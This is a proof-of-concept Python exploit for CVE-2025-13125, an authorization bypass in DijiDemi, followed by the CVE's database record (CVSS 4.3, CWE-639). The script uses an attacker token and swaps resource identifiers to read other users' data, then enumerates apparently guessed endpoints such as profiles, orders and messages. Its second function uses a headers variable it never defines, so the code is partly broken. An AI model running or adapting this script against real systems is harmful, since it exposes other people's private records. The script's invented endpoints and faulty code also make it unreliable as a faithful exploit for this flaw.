CVE-2025-13125

# CVE-2025-13125 DijiDemi Authorization Bypass PoC # This PoC demonstrates the authorization bypass vulnerability in DijiDemi # Attackers can access other users' resources by manipulating identifiers import requests import json TARGET_URL = "https://target-dijidemi.com" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_authorization_bypass(): """ Exploit CVE-2025-13125: Authorization Bypass Through User-Controlled Key Steps: 1. Register and login as regular user 2. Identify endpoint with user-controlled identifier parameter 3. Manipulate the identifier to access other users' resources """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Access own resource (legitimate) own_resource_url = f"{TARGET_URL}/api/resource?id=1001" response_own = requests.get(own_resource_url, headers=headers) print(f"[+] Own resource access: {response_own.status_code}") # Step 2: Manipulate identifier to access other user's resource (exploit) # Replace 1001 with target user's identifier target_resource_url = f"{TARGET_URL}/api/resource?id=1002" response_target = requests.get(target_resource_url, headers=headers) if response_target.status_code == 200: print(f"[!] VULNERABLE: Successfully accessed user 1002's resource") print(f"[!] Response: {response_target.text}") return True else: print(f"[-] Not vulnerable or identifier not found") return False def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-13125 """ endpoints_to_test = [ "/api/user/profile", "/api/documents/view", "/api/orders/details", "/api/messages/read" ] for endpoint in endpoints_to_test: # Test with different identifier values for identifier in ["1", "2", "3", "admin"]: url = f"{TARGET_URL}{endpoint}?id={identifier}" response = requests.get(url, headers=headers) # Check for successful unauthorized access if response.status_code == 200 and "error" not in response.text.lower(): print(f"[!] Potential vulnerability at {url}") if __name__ == "__main__": print("CVE-2025-13125 Authorization Bypass PoC") print("Target: DijiDemi") print("=" * 50) exploit_authorization_bypass()

{"cve": {"id": "CVE-2025-13125", "sourceIdentifier": "[email protected]", "published": "2025-12-10T15:15:56.233", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Im Park Information Technology, Electronics, Press, Publishing and Advertising, Education Ltd. Co. DijiDemi allows Exploitation of Trusted Identifiers.This issue affects DijiDemi: through 28.11.2025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0442", "source": "[email protected]"}]}}